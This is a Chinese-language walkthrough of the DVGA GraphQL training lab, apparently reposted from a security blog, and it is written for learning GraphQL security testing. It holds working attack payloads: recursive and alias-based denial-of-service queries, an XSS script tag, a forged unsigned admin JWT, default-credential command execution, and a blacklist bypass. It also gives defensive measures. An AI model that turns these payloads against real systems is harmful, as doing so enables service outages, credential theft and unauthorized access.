灵境DVGA靶场测试指南|GraphQL安全测试入门到精通

admin 2026-01-05 17:56:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文基于DVGA靶场详解GraphQL安全测试,涵盖环境搭建、工具探测及漏洞复现。重点演示了拒绝服务、信息泄露、命令注入、SQL注入、XSS及越权攻击的实战手法。文章深入分析JWT伪造、黑名单绕过等逻辑缺陷,并提出了禁用内省、限制查询深度与成本分析等防护建议。 综合评分: 90 文章分类: 渗透测试,WEB安全,漏洞分析,漏洞POC


工具

  • • Burpsuite v2024.9.2
  • • Burp 插件 https://github.com/doyensec/inql
  • • https://github.com/dolevf/graphw00f

熟悉环境

基础知识

具体可参考:玩转 graphQL https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ

GraphQL 区别于正常的 API 请求,它的子路径是不变的。

GraphQL 一个接口走天下,变的只是请求体中的内容。 查询 query

侦察探测

特征 /graphql 拒绝服务攻击

资源消耗型查询攻击

有时,某些查询的计算开销会远高于其他查询。这类查询可能包含一些特定字段,而这些字段在执行查询解析时,会触发更为复杂的后端业务逻辑。攻击者可以利用这一特性,通过频繁调用此类查询操作,造成服务器的资源耗尽

在 GraphQL 中,存在一种名为查询成本分析的机制。该机制会为那些解析开销较高的字段分配对应的权重值。借助这一功能,我们可以设定一个成本上限阈值,一旦查询的总成本超过该阈值,就直接拒绝执行此查询。除此之外,还可以实现缓存功能,避免在短时间内重复处理相同的请求。

POST /graphql HTTP/1.1
Host: host
Content-Type: application/json
Content-Length: 48

{"query":"query {\n  systemUpdate\n}","variables":[]}

批量查询攻击

GraphQL 支持请求批处理功能。

批处理请求会被 GraphQL 逐个依次执行,这使其极易成为拒绝服务攻击的目标,同时也可能遭受暴力破解、信息枚举等其他类型的攻击。

一旦攻击者发现某个资源消耗型的 GraphQL 查询,就可以利用批处理机制反复调用该查询,进而可能在较长时间内使服务不堪重负、无法响应

经检测,systemUpdate 这个查询的执行耗时较长。

攻击者可通过批量提交该系统更新请求查询,以此来压垮服务器

响应时间过长 深度递归查询攻击

在 GraphQL 中,当不同类型之间存在相互引用的关系时,攻击者往往可以构造出一种循环查询语句。这种查询会呈现指数级的复杂度增长,最终足以让服务器彻底瘫痪。像 max_depth(最大查询深度)这类防护机制,能够有效缓解此类攻击的危害。

max_depth 功能的作用是充当一道安全屏障,它会明确限定查询语句允许嵌套的最大深度,确保那些构造过于复杂的深层查询会被 GraphQL 直接拒绝接收

该应用程序中包含两种数据类型 ——Owner(所有者)和 Paste(粘贴内容),二者存在相互引用的关联:一个所有者可以拥有对应的粘贴内容,而一条粘贴内容也会关联到对应的所有者。这种设计使得攻击者能够成功执行递归查询

query {
  pastes {
    owner {
      pastes {
        owner {
          pastes {
            owner {
              pastes {
                owner {
                  pastes {
                    owner {
                      pastes {
                        owner {
                          name
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

字段重复攻击

许多 GraphQL 的实现方案并不会主动对查询中重复的字段进行去重处理,这使得攻击者可以随心所欲地重复添加相同的请求字段。

这种行为会迫使服务器反复返回相同的字段数据,进而给服务器带来额外的负载压力

针对该问题,可采用以下几种缓解方法:

  1. 1. 字段去重
  2. 2. 查询成本分析

实现字段去重的方式有两种:一是通过中间件函数遍历 GraphQL 模式并剔除重复字段;二是直接分析查询语句中的重复字段模式,进而拒绝执行此类查询

查询成本分析机制也能有效防御这类攻击,因为每一个重复的字段最终都会导致查询总成本的上升,超出阈值的查询会被直接拦截。

query {
  pastes {
    owner {
      pastes {
            ipAddr # 1
            ipAddr # 2
            ipAddr # 3
            ipAddr # 4
            ipAddr # 1000
          }
        }
      }
}

基于别名的攻击

在 GraphQL 中,无需将多个查询进行批处理整合,即可直接运行它们。

如果批处理功能处于禁用状态,攻击者仍可以构造一个包含多个别名的查询,通过这些别名来调用同一个查询或变更操作。此时若服务器未对查询成本进行校验,攻击者就能利用这些基于别名的高开销查询,耗尽服务器的资源。

防护手段

  1. 1. 查询中间件
  2. 2. 查询成本分析

需要借助查询中间件来识别查询中别名的使用情况,并根据自身的业务逻辑决定是拒绝还是允许该查询。

查询成本分析机制同样能有效防御此类攻击,因为每一个通过别名调用的查询最终都会累加,导致整体查询成本上升。

query {
  q1: systemUpdate
  q2: systemUpdate
  q3: systemUpdate
}

信息泄露攻击

GraphQL 内省查询

GraphQL 内省查询是一种特殊的查询方式,它通过 __schema 字段来查询 GraphQL 的架构信息。

内省查询本身并非安全缺陷,而是一项功能特性。但如果该功能处于启用状态,就可能被攻击者利用,以获取目标 GraphQL 实现的相关信息,比如系统中存在哪些查询和变更操作。

建议在生产环境中禁用内省查询,以此避免数据泄露风险。

query {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

GraphiQL 接口探测

GraphQL 内置了一款名为 GraphiQL(注意拼写里有字母 i)的集成开发环境,它能够提供友好的可视化操作界面,帮助开发者编写和调试 GraphQL 查询语句。

GraphiQL 的访问路径通常为 /graphiql 或 /console,不过它也可能部署在其他路径下。 GraphQL 字段提示泄露

GraphQL 具备字段与操作提示功能。例如,当开发者对接 GraphQL API 时输入了错误的字段,GraphQL 会尝试给出与之相近的字段建议。

字段提示功能本身并非漏洞,而是一项可被滥用的特性 —— 攻击者可借助它进一步摸清 GraphQL 的架构信息,尤其是在内省查询被禁用的情况下。

发送

query {
  system
}

不仅泄露字段提示,也泄露了堆栈跟踪错误 SSRF

GraphQL 的变更操作 importPaste 允许传入任意的主机、端口和通信协议,用于从指定地址导入粘贴内容,且该操作未对 localhost(本地主机)或其他内部服务器地址这类输入进行限制。这一缺陷可能导致攻击者以应用服务器的身份伪造请求,对目标网络内的其他节点发起攻击。

http://192.168.242.53:5013/import_paste

探测端口

{
  "host": "localhost",
  "port": 5013,
  "path": "/",
  "scheme": "http"
}

端口不存在时,直接返回 代码执行攻击

操作系统命令注入 #1

变更操作 importPaste 存在参数逃逸漏洞,攻击者可通过命令拼接的方式注入 UNIX 系统命令。该 GraphQL 解析器未对输入内容进行充分校验,会直接将其传递给 cURL 工具执行。

继续上面的

操作系统命令注入 #2

查询操作 systemDiagnostics 出于调试目的,允许接收部分 UNIX 系统命令工具作为参数,例如 whoamips 等。该操作的作用类似于一个受限 shell

不过,它本身配置了用户名与密码的访问验证机制。攻击者一旦获取到正确的凭据,就可以通过命令拼接的方式绕过这个受限 shell 的限制。

默认账号密码

admin/changeme
query {
  systemDiagnostics(username:"admin", password:"changeme", cmd:"id")
}

注入攻击

存储型 XSS

GraphQL 的变更操作 createPaste(创建粘贴内容)和 importPaste(导入粘贴内容)支持创建与导入新的粘贴内容。这些粘贴内容可包含任意字符且无任何限制,并且会直接在公开粘贴内容页面私有粘贴内容页面中渲染展示,这就会导致跨站脚本漏洞(XSS) 的产生。

mutation {
&nbsp; createPaste(title:"<script>alert(1)</script>", content:"zzzz", public:true) {
&nbsp; &nbsp; paste {
&nbsp; &nbsp; &nbsp; id
&nbsp; &nbsp; }
&nbsp; }
}

SQL 注入攻击

查询

query {
&nbsp; &nbsp; pastes(filter: "aaa") {
&nbsp; &nbsp; &nbsp; &nbsp; content
&nbsp; &nbsp; &nbsp; &nbsp; title
&nbsp; &nbsp; }
}

越权访问攻击

GraphQL JWT 令牌伪造

未登录状态下,用户仍可针对 me 查询操作,在 JWT 令牌中伪造用户身份声明。

创建成功

query me {
&nbsp; &nbsp; me(token: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZGVudGl0eSI6ImFkbWluIn0=.") {
&nbsp; &nbsp; &nbsp; &nbsp; id
&nbsp; &nbsp; &nbsp; &nbsp; password
&nbsp; &nbsp; &nbsp; &nbsp; username(capitalize: true)
&nbsp; &nbsp; }
}

返回 admin 账号的明文密码 GraphQL 接口防护绕过

GraphiQL 工具部署于 /graphiql 路径下,其权限校验机制存在实现缺陷。

直接发送,报错 GraphQL 查询黑名单绕过

为 GraphQL 配置白名单黑名单是一种常用技术,可用于阻止恶意查询被 GraphQL 执行解析。

  • • 配置白名单时,应用服务器会预设一批 “已知合法” 的查询并允许其执行,同时拒绝其他所有查询请求。
  • • 配置黑名单时,应用服务器会预设一批 “已知非法” 的查询并拒绝其执行,同时允许其他所有查询请求。

通常而言,白名单方案更易于维护,且不易出现纰漏,因为该方案仅允许执行我们信任的特定查询。但这并不意味着白名单方案本身不存在缺陷。

该应用已实现一套黑名单机制,试图通过拦截包含 systemHealth 的查询来屏蔽健康检查类请求。

此机制存在的问题在于,它未考虑到 GraphQL 查询中可携带操作名称这一特性(详见:https://graphql.org/learn/queries/#operation-name )。

专家模式 请求头中添加 X-DVGA-MODE: Expert

POST http://192.168.242.79:5013/graphql HTTP/1.1
Host: 192.168.242.79
Content-Length: 53
Accept-Language: zh-CN,zh;q=0.9
X-DVGA-MODE: Expert
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Origin: http://192.168.242.79:5013
Referer: http://192.168.242.79:5013/import_paste
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"query":"query systemHealth {\n &nbsp; &nbsp;systemHealth\n}"}

任意文件写入

访问 http://192.168.242.79:5013/upload_paste

密码暴力破解

POST http://192.168.242.234:5013/graphql HTTP/1.1
Host: 192.168.242.234
Content-Length: 93
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Origin: http://192.168.242.234:5013
Referer: http://192.168.242.234:5013/my_pastes
Accept-Encoding: gzip, deflate, br
Cookie: env=graphiql:disable
Connection: keep-alive

{"query":"query { systemDiagnostics(username:\"admin\", password:\"changeme\", cmd:\"id\")}"}

参考资料

  • • GraphQL API 漏洞的常见攻击方法总结 https://xz.aliyun.com/news/14350
  • • 玩转 graphQL https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
  • • 从 DVGA 靶场学习 GraphQL 安全 https://www.yuque.com/henry-weply/penetration/ps5n3g
  • • DVGA 靶场(上) https://mp.weixin.qq.com/s/WoHEC50u7KACLLafZL5tww
  • • DVGA 靶场(下) https://mp.weixin.qq.com/s/mmJrE6uIBC-4ztr5PFZasA

欢迎关注公众号~~~


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Sec铁匠铺 《灵境 DVGA靶场 测试指南 | GraphQL安全测试入门到精通》

评论:0   参与:  0